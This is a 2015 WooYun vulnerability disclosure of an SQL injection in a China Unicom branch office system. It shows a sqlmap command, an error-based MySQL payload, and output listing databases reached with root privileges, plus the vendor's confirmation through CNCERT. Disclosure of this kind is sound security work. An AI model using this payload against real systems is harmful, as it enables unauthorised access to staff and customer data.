当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148806

漏洞标题：中国联通宁安分公司办公系统SQL注入/root权限/356个表

相关厂商：中国联通

漏洞作者： 路人甲

提交时间：2015-10-23 10:50

修复时间：2015-12-11 16:56

公开时间：2015-12-11 16:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-23： 细节已通知厂商并且等待厂商处理中
2015-10-27： 厂商已经确认，细节仅向厂商公开
2015-11-06： 细节向核心白帽子及相关领域专家公开
2015-11-16： 细节向普通白帽子公开
2015-11-26： 细节向实习白帽子公开
2015-12-11： 细节向公众公开

简要描述：

详细说明：

root@kali:~# sqlmap -u "**.**.**.**/general/score/flow/scoredate/result.php?FLOW_ID=11%bf%27%20" --level=3 --risk=3 -p FLOW_ID --dbms=mysql


1.jpg


2.jpg


3.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 1780 FROM(SELECT COUNT(*),CONCAT(0x71627a6971,(SELECT (CASE WHEN (1780=1780) THEN 1 ELSE 0 END)),0x717a747771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- UugW
---
web server operating system: Windows
web application technology: Apache 2.2.19, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
current database:    'td_oa'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 1780 FROM(SELECT COUNT(*),CONCAT(0x71627a6971,(SELECT (CASE WHEN (1780=1780) THEN 1 ELSE 0 END)),0x717a747771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- UugW
---
web server operating system: Windows
web application technology: Apache 2.2.19, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
current user:    'root@**.**.**.**'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 1780 FROM(SELECT COUNT(*),CONCAT(0x71627a6971,(SELECT (CASE WHEN (1780=1780) THEN 1 ELSE 0 END)),0x717a747771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- UugW
---
web server operating system: Windows
web application technology: Apache 2.2.19, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
Database: performance_schema
[17 tables]
+----------------------------------------------+
| cond_instances                               |
| events_waits_current                         |
| events_waits_history                         |
| events_waits_history_long                    |
| events_waits_summary_by_instance             |
| events_waits_summary_by_thread_by_event_name |
| events_waits_summary_global_by_event_name    |
| file_instances                               |
| file_summary_by_event_name                   |
| file_summary_by_instance                     |
| mutex_instances                              |
| performance_timers                           |
| rwlock_instances                             |
| setup_consumers                              |
| setup_instruments                            |
| setup_timers                                 |
| threads                                      |
+----------------------------------------------+
Database: BUS
[16 tables]
+----------------------------------------------+
| bj_line                                      |
| bs_line                                      |
| cd_line                                      |
| city                                         |
| cq_line                                      |
| gz_line                                      |
| hz_line                                      |
| km_line                                      |
| nj_line                                      |
| post_tel                                     |
| qd_line                                      |
| sh_line                                      |
| sz_line                                      |
| tj_line                                      |
| wh_line                                      |
| xa_line                                      |
+----------------------------------------------+
Database: TRAIN
[5 tables]
+----------------------------------------------+
| kind                                         |
| pass                                         |
| price                                        |
| station                                      |
| train                                        |
+----------------------------------------------+
Database: mysql
[24 tables]
+----------------------------------------------+
| user                                         |
| columns_priv                                 |
| db                                           |
| event                                        |
| func                                         |
| general_log                                  |
| help_category                                |
| help_keyword                                 |
| help_relation                                |
| help_topic                                   |
| host                                         |
| ndb_binlog_index                             |
| plugin                                       |
| proc                                         |
| procs_priv                                   |
| proxies_priv                                 |
| servers                                      |
| slow_log                                     |
| tables_priv                                  |
| time_zone                                    |
| time_zone_leap_second                        |
| time_zone_name                               |
| time_zone_transition                         |
| time_zone_transition_type                    |
+----------------------------------------------+
Database: TD_OA
[356 tables]
+----------------------------------------------+
| session                                      |
| user                                         |
| version                                      |
| address                                      |
| address_group                                |
| affair                                       |
| app_log                                      |
| attachment                                   |
| attachment_edit                              |
| attachment_module                            |
| attachment_position                          |
| attend_ask_duty                              |
| attend_config                                |
| attend_duty                                  |
| attend_evection                              |
| attend_holiday                               |
| attend_leave                                 |
| attend_machine                               |
| attend_manager                               |
| attend_out                                   |
| attendance_overtime                          |
| bbs_board                                    |
| bbs_comment                                  |
| book_info                                    |
| book_manage                                  |
| book_manager                                 |
| book_type                                    |
| bs_line                                      |
| calendar                                     |
| categories_type                              |
| censor_data                                  |
| censor_module                                |
| censor_words                                 |
| chatroom                                     |
| connect_config                               |
| contact                                      |
| contract                                     |
| contract_line                                |
| countdown                                    |
| cp_asset_keep                                |
| cp_asset_reflect                             |
| cp_asset_type                                |
| cp_assetcfg                                  |
| cp_cptl_info                                 |
| cp_dpct_sub                                  |
| cp_prcs_prop                                 |
| crm_account                                  |
| crm_account_care                             |
| crm_account_contact                          |
| crm_action                                   |
| crm_complain                                 |
| crm_contract                                 |
| crm_customer_service                         |
| crm_depository                               |
| crm_diary_setting                            |
| crm_email_html_model                         |
| crm_html_model                               |
| crm_marketing                                |
| crm_opportunity                              |
| crm_opportunity_products_list                |
| crm_order                                    |
| crm_order_products_list                      |
| crm_procurement_payment                      |
| crm_product                                  |
| crm_product_type                             |
| crm_purchase_order                           |
| crm_purchase_order_products_list             |
| crm_quotation                                |
| crm_quotation_products_list                  |
| crm_salepay                                  |
| crm_solutions                                |
| crm_stockout                                 |
| crm_stockout_products_list                   |
| crm_storage                                  |
| crm_storage_products_list                    |
| crm_supplier                                 |
| crm_supplier_contact                         |
| crm_sys_audit                                |
| crm_sys_block_item                           |
| crm_sys_code                                 |
| crm_sys_code_type                            |
| crm_sys_entity                               |
| crm_sys_entity_index                         |
| crm_sys_entity_op                            |
| crm_sys_fast_new                             |
| crm_sys_field                                |
| crm_sys_layout_block                         |
| crm_sys_layout_item                          |
| crm_sys_list_view                            |
| crm_sys_list_view_color                      |
| crm_sys_list_view_default                    |
| crm_sys_list_view_field                      |
| crm_sys_list_view_map                        |
| crm_sys_list_view_order                      |
| crm_sys_list_view_rule                       |
| crm_sys_list_view_rule_parent                |
| crm_sys_op                                   |
| crm_sys_op_priv                              |
| crm_sys_op_priv_template                     |
| crm_sys_picklist                             |
| crm_sys_quick_link                           |
| crm_sys_relation                             |
| crm_sys_report                               |
| crm_sys_report_chart                         |
| crm_sys_report_column                        |
| crm_sys_report_dir                           |
| crm_sys_report_filter                        |
| crm_sys_report_filter_parent                 |
| crm_sys_report_group                         |
| crm_sys_report_summary                       |
| crm_sys_report_sysdefine                     |
| crm_sys_search                               |
| crm_sys_status                               |
| crm_sys_status_type                          |
| crm_sys_uv                                   |
| crm_sys_uv_field                             |
| customer                                     |
| daemon_config                                |
| daemon_hardware_info                         |
| daemon_process_info                          |
| daemon_services_config                       |
| daemon_services_status                       |
| daemon_services_tmp                          |
| data_src                                     |
| department                                   |
| dept_map                                     |
| diary                                        |
| diary_comment                                |
| diary_comment_reply                          |
| doc_keywords                                 |
| doc_print_log                                |
| doc_recv_data                                |
| doc_recv_prcs                                |
| doc_recv_priv                                |
| doc_send_data                                |
| doc_send_prcs                                |
| doc_type                                     |
| doc_user_data                                |
| doc_user_data2                               |
| efax_account                                 |
| efax_receive_box                             |
| efax_send_box                                |
| email                                        |
| email_body                                   |
| email_box                                    |
| email_boxgroup                               |
| email_name                                   |
| esb_info                                     |
| esb_msg_recv                                 |
| esb_msg_send                                 |
| esb_workflow                                 |
| esb_workflow_rule                            |
| exam_data                                    |
| exam_flow                                    |
| exam_paper                                   |
| exam_quiz                                    |
| exam_quiz_set                                |
| ext_dept                                     |
| ext_user                                     |
| field_date                                   |
| fieldsetting                                 |
| file_content                                 |
| file_sort                                    |
| flow_data_28                                 |
| flow_form_type                               |
| flow_form_version                            |
| flow_hook                                    |
| flow_manage_log                              |
| flow_print_tpl                               |
| flow_priv                                    |
| flow_process                                 |
| flow_query_tpl                               |
| flow_report                                  |
| flow_report_priv                             |
| flow_rule                                    |
| flow_run                                     |
| flow_run_attach                              |
| flow_run_data                                |
| flow_run_feedback                            |
| flow_run_hook                                |
| flow_run_log                                 |
| flow_run_prcs                                |
| flow_sort                                    |
| flow_timer                                   |
| flow_type                                    |
| flow_version                                 |
| form_sort                                    |
| gbt_conf                                     |
| gwiki_cate                                   |
| gwiki_fav                                    |
| gwiki_log                                    |
| gwiki_priv                                   |
| gwiki_tag                                    |
| gwiki_template                               |
| gwiki_term                                   |
| gwiki_term_final                             |
| gwiki_term_temp                              |
| hr_card_module                               |
| hr_care_task                                 |
| hr_code                                      |
| hr_insurance_default                         |
| hr_insurance_manage                          |
| hr_insurance_para                            |
| hr_manager                                   |
| hr_recruit_filter                            |
| hr_recruit_plan                              |
| hr_recruit_pool                              |
| hr_recruit_recruitment                       |
| hr_recruit_requirements                      |
| hr_sal_data                                  |
| hr_staff_care                                |
| hr_staff_contract                            |
| hr_staff_incentive                           |
| hr_staff_info                                |
| hr_staff_labor_skills                        |
| hr_staff_learn_experience                    |
| hr_staff_leave                               |
| hr_staff_license                             |
| hr_staff_reinstatement                       |
| hr_staff_relatives                           |
| hr_staff_title_evaluation                    |
| hr_staff_transfer                            |
| hr_staff_work_experience                     |
| hr_training_examine                          |
| hr_training_plan                             |
| hr_training_record                           |
| hr_wage_manage                               |
| hr_welfare_manage                            |
| hrms                                         |
| html_model                                   |
| icqcontact_tb                                |
| icqmsgs_tb                                   |
| icqservermsg_tb                              |
| im_cluster                                   |
| im_group                                     |
| im_group_maxmsgid                            |
| im_group_msg                                 |
| im_message_cache                             |
| im_offline_file                              |
| index_article                                |
| index_keyword                                |
| index_search                                 |
| interface                                    |
| ip_rule                                      |
| linkman                                      |
| login_app                                    |
| meeting                                      |
| meeting_comment                              |
| meeting_equipment                            |
| meeting_room                                 |
| message                                      |
| message2                                     |
| module_priv                                  |
| mytable                                      |
| netchat                                      |
| netdisk                                      |
| netmeeting                                   |
| news                                         |
| news_comment                                 |
| notes                                        |
| notify                                       |
| oa_cyclesource_used                          |
| oa_source                                    |
| oa_source_used                               |
| oc_log                                       |
| office_depository                            |
| office_products                              |
| office_task                                  |
| office_transhistory                          |
| office_type                                  |
| order_line                                   |
| picture                                      |
| plan_type                                    |
| portal                                       |
| product                                      |
| proj_bug                                     |
| proj_comment                                 |
| proj_cost                                    |
| proj_field_date                              |
| proj_fieldsetting                            |
| proj_file                                    |
| proj_file_log                                |
| proj_file_sort                               |
| proj_forum                                   |
| proj_priv                                    |
| proj_project                                 |
| proj_sys_code                                |
| proj_task                                    |
| proj_task_log                                |
| provider                                     |
| provider_linkman                             |
| rms_file                                     |
| rms_lend                                     |
| rms_roll                                     |
| rms_roll_room                                |
| rsa_keypair                                  |
| sal_data                                     |
| sal_flow                                     |
| sal_item                                     |
| sale_history                                 |
| sale_manager                                 |
| score_date                                   |
| score_flow                                   |
| score_group                                  |
| score_item                                   |
| seal                                         |
| seal_keylic                                  |
| seal_log                                     |
| secure_key                                   |
| service                                      |
| sms                                          |
| sms2                                         |
| sms2_priv                                    |
| sms3                                         |
| sms_body                                     |
| supply_history                               |
| supply_order                                 |
| sys_code                                     |
| sys_function                                 |
| sys_log                                      |
| sys_log_20140408                             |
| sys_menu                                     |
| sys_para                                     |
| task                                         |
| unit                                         |
| url                                          |
| user_ext                                     |
| user_group                                   |
| user_map                                     |
| user_online                                  |
| user_priv                                    |
| vehicle                                      |
| vehicle_maintenance                          |
| vehicle_oil_use                              |
| vehicle_operator                             |
| vehicle_usage                                |
| vi_flow_run                                  |
| vi_user                                      |
| vote_data                                    |
| vote_item                                    |
| vote_title                                   |
| webmail                                      |
| webmail_body                                 |
| weixun_share                                 |
| weixun_share_topic                           |
| wiki_ask                                     |
| wiki_ask_answer                              |
| wiki_comment                                 |
| wiki_info                                    |
| winexe                                       |
| word_model                                   |
| work_detail                                  |
| work_person                                  |
| work_plan                                    |
| zbap_paiban                                  |
| zl_file                                      |
+----------------------------------------------+
Database: crscell
[164 tables]
+----------------------------------------------+
| crs_autocode                                 |
| crs_chart                                    |
| crs_codeindex                                |
| crs_codeitem                                 |
| crs_columnindex                              |
| crs_database                                 |
| crs_detailreadpriv                           |
| crs_detailwritepriv                          |
| crs_entrust                                  |
| crs_formulas                                 |
| crs_hyperlink                                |
| crs_logiccheck                               |
| crs_para                                     |
| crs_pntpara                                  |
| crs_readstate                                |
| crs_repkind                                  |
| crs_report                                   |
| crs_reportbulletin                           |
| crs_reportstate                              |
| crs_synsign                                  |
| crs_tabledata158                             |
| crs_tabledata159                             |
| crs_tabledata160                             |
| crs_tabledata161                             |
| crs_tabledata162                             |
| crs_tabledata163                             |
| crs_tabledata164                             |
| crs_tabledata165                             |
| crs_tabledata166                             |
| crs_tabledata167                             |
| crs_tabledata168                             |
| crs_tabledata169                             |
| crs_tabledata170                             |
| crs_tabledata171                             |
| crs_tabledata172                             |
| crs_tabledata173                             |
| crs_tabledata174                             |
| crs_tabledata175                             |
| crs_tabledata239                             |
| crs_tabledata240                             |
| crs_tabledata241                             |
| crs_tabledata242                             |
| crs_tabledata245                             |
| crs_tabledata246                             |
| crs_tabledata258                             |
| crs_tabledata259                             |
| crs_tabledata260                             |
| crs_tabledata274                             |
| crs_tabledata275                             |
| crs_tabledata276                             |
| crs_tabledata277                             |
| crs_tabledata280                             |
| crs_tabledata281                             |
| crs_tabledata282                             |
| crs_tabledata296                             |
| crs_tabledata297                             |
| crs_tabledata298                             |
| crs_tabledata299                             |
| crs_tabledata300                             |
| crs_tabledata301                             |
| crs_tabledata302                             |
| crs_tabledata303                             |
| crs_tabledata304                             |
| crs_tabledata305                             |
| crs_tabledata306                             |
| crs_tabledata307                             |
| crs_tabledata308                             |
| crs_tabledata309                             |
| crs_tabledata310                             |
| crs_tabledata311                             |
| crs_tabledata312                             |
| crs_tabledata313                             |
| crs_tabledata314                             |
| crs_tabledata315                             |
| crs_tabledata316                             |
| crs_tabledata317                             |
| crs_tabledata318                             |
| crs_tabledata319                             |
| crs_tabledata320                             |
| crs_tabledata321                             |
| crs_tabledata322                             |
| crs_tabledata323                             |
| crs_tabledata324                             |
| crs_tabledata325                             |
| crs_tabledata326                             |
| crs_tabledata327                             |
| crs_tabledata328                             |
| crs_tabledata329                             |
| crs_tabledata330                             |
| crs_tabledata331                             |
| crs_tabledata332                             |
| crs_tabledata333                             |
| crs_tabledata334                             |
| crs_tabledata335                             |
| crs_tabledata336                             |
| crs_tabledata337                             |
| crs_tabledata338                             |
| crs_tabledata339                             |
| crs_tabledata340                             |
| crs_tabledata341                             |
| crs_tabledata342                             |
| crs_tabledata343                             |
| crs_tabledata344                             |
| crs_tabledata345                             |
| crs_tabledata346                             |
| crs_tabledata347                             |
| crs_tabledata348                             |
| crs_tabledata349                             |
| crs_tabledata350                             |
| crs_tabledata351                             |
| crs_tabledata352                             |
| crs_tabledata353                             |
| crs_tabledata354                             |
| crs_tabledata355                             |
| crs_tabledata356                             |
| crs_tabledata357                             |
| crs_tabledata358                             |
| crs_tabledata359                             |
| crs_tabledata360                             |
| crs_tabledata361                             |
| crs_tabledata362                             |
| crs_tabledata363                             |
| crs_tabledata364                             |
| crs_tabledata365                             |
| crs_tabledata366                             |
| crs_tabledata367                             |
| crs_tabledata368                             |
| crs_tabledata369                             |
| crs_tabledata370                             |
| crs_tabledata371                             |
| crs_tabledata372                             |
| crs_tabledata373                             |
| crs_tabledata374                             |
| crs_tabledata375                             |
| crs_tabledata376                             |
| crs_tabledata377                             |
| crs_tabledata378                             |
| crs_tabledata379                             |
| crs_tabledata398                             |
| crs_tabledata399                             |
| crs_tabledata400                             |
| crs_tabledata401                             |
| crs_tabledata402                             |
| crs_tabledata403                             |
| crs_tabledata404                             |
| crs_tabledata405                             |
| crs_tabledata406                             |
| crs_tabledata423                             |
| crs_tabledata424                             |
| crs_tabledata425                             |
| crs_tabledata426                             |
| crs_tabledata427                             |
| crs_tabledata428                             |
| crs_tabledata429                             |
| crs_tabledata438                             |
| crs_tabledata439                             |
| crs_tabledata440                             |
| crs_tabledata443                             |
| crs_tabledata444                             |
| crs_tabledata445                             |
| crs_tabledata446                             |
| crs_tableindex                               |
| crs_workflow                                 |
| datatype                                     |
+----------------------------------------------+
Database: information_schema
[37 tables]
+----------------------------------------------+
| CHARACTER_SETS                               |
| COLLATIONS                                   |
| COLLATION_CHARACTER_SET_APPLICABILITY        |
| COLUMNS                                      |
| COLUMN_PRIVILEGES                            |
| ENGINES                                      |
| EVENTS                                       |
| FILES                                        |
| GLOBAL_STATUS                                |
| GLOBAL_VARIABLES                             |
| INNODB_CMP                                   |
| INNODB_CMPMEM                                |
| INNODB_CMPMEM_RESET                          |
| INNODB_CMP_RESET                             |
| INNODB_LOCKS                                 |
| INNODB_LOCK_WAITS                            |
| INNODB_TRX                                   |
| KEY_COLUMN_USAGE                             |
| PARAMETERS                                   |
| PARTITIONS                                   |
| PLUGINS                                      |
| PROCESSLIST                                  |
| PROFILING                                    |
| REFERENTIAL_CONSTRAINTS                      |
| ROUTINES                                     |
| SCHEMATA                                     |
| SCHEMA_PRIVILEGES                            |
| SESSION_STATUS                               |
| SESSION_VARIABLES                            |
| STATISTICS                                   |
| TABLES                                       |
| TABLESPACES                                  |
| TABLE_CONSTRAINTS                            |
| TABLE_PRIVILEGES                             |
| TRIGGERS                                     |
| USER_PRIVILEGES                              |
| VIEWS                                        |
+----------------------------------------------+

漏洞证明：

修复方案：

参数过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-27 16:55

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给黑龙江分中心，由其后续协调网站管理单位处置。

最新状态：

暂无